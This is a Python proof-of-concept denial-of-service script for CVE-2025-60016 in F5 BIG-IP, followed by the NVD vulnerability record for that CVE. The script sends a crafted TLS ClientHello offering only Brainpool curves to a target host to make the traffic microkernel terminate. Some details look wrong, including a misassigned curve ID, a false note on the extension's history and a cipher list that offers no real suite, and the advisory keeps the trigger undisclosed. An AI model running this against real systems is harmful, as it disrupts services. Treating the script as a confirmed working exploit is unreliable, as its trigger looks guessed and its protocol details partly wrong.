CVE-2025-60016

# CVE-2025-60016 PoC - F5 BIG-IP TMM DoS via Brainpool ECC Curves # This PoC demonstrates triggering TMM termination by sending # a TLS handshake with Brainpool curves to a vulnerable BIG-IP virtual server # with Brainpool curves configured in SSL profile's Cipher Rule/Group. import socket import ssl import struct import sys TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP VIP TARGET_PORT = 443 # HTTPS port def build_tls_client_hello_with_brainpool(): """ Build a TLS ClientHello message forcing Brainpool curves in the supported_groups extension. """ # TLS record header: ContentType(22=Handshake) + Version(TLS 1.2) + Length # Handshake type: ClientHello (1) # Brainpool curve IDs (from RFC 5639 / IANA) brainpool_p256r1 = 0x001A # brainpoolP256r1 brainpool_p384r1 = 0x001B # brainpoolP384r1 brainpool_p512r1 = 0x001D # brainpoolP512r1 # Supported Groups Extension (renamed from EC Point Formats) supported_groups_ext = struct.pack('!H', len([brainpool_p256r1, brainpool_p384r1, brainpool_p512r1]) * 2) supported_groups_ext += struct.pack('!H', brainpool_p256r1) supported_groups_ext += struct.pack('!H', brainpool_p384r1) supported_groups_ext += struct.pack('!H', brainpool_p512r1) # Extension data extensions = struct.pack('!HH', 0x000A, len(supported_groups_ext)) # supported_groups extension type extensions += supported_groups_ext # ClientHello body client_hello = b'\x03\x03' # Client version: TLS 1.2 client_hello += b'\x00' * 32 # Random client_hello += b'\x00' # Session ID length: 0 client_hello += b'\x00\x02\x00\xff' # Cipher suites: TLS_EMPTY_RENEGOTIATION_INFO_SCSV client_hello += b'\x01\x00' # Compression methods: null client_hello += struct.pack('!H', len(extensions)) # Extensions length client_hello += extensions # Handshake header handshake = struct.pack('!B', 1) # ClientHello type handshake += struct.pack('!I', len(client_hello))[1:] # Length (3 bytes) handshake += client_hello # TLS record tls_record = struct.pack('!BHH', 22, 0x0301, len(handshake)) tls_record += handshake return tls_record def trigger_vulnerability(): """Send the crafted TLS ClientHello to trigger TMM termination.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) payload = build_tls_client_hello_with_brainpool() sock.send(payload) print(f"[+] Sent crafted TLS ClientHello with Brainpool curves to {TARGET_HOST}:{TARGET_PORT}") print("[+] If the target is vulnerable, TMM should terminate shortly") sock.close() except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": trigger_vulnerability()

{"cve": {"id": "CVE-2025-60016", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:56.350", "lastModified": "2025-10-22T21:06:10.420", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When Diffie-Hellman (DH) group Elliptic Curve Cryptography (ECC) Brainpool curves are configured in an SSL profile's Cipher Rule or Cipher Group, and that profile is applied to a virtual server, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_cloud-native_network_functions:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.0", "versionEndExcluding": "1.4.0", "matchCriteriaId": "6D1E7119-B744-420E-8D23-951943D04E96"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_next_service_proxy_for_kubernetes:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.7.0", "versionEndIncluding": "1.9.2", "matchCriteriaId": "4C7328B4-B7E0-460E-8270-116FE813FB23"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000139514", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}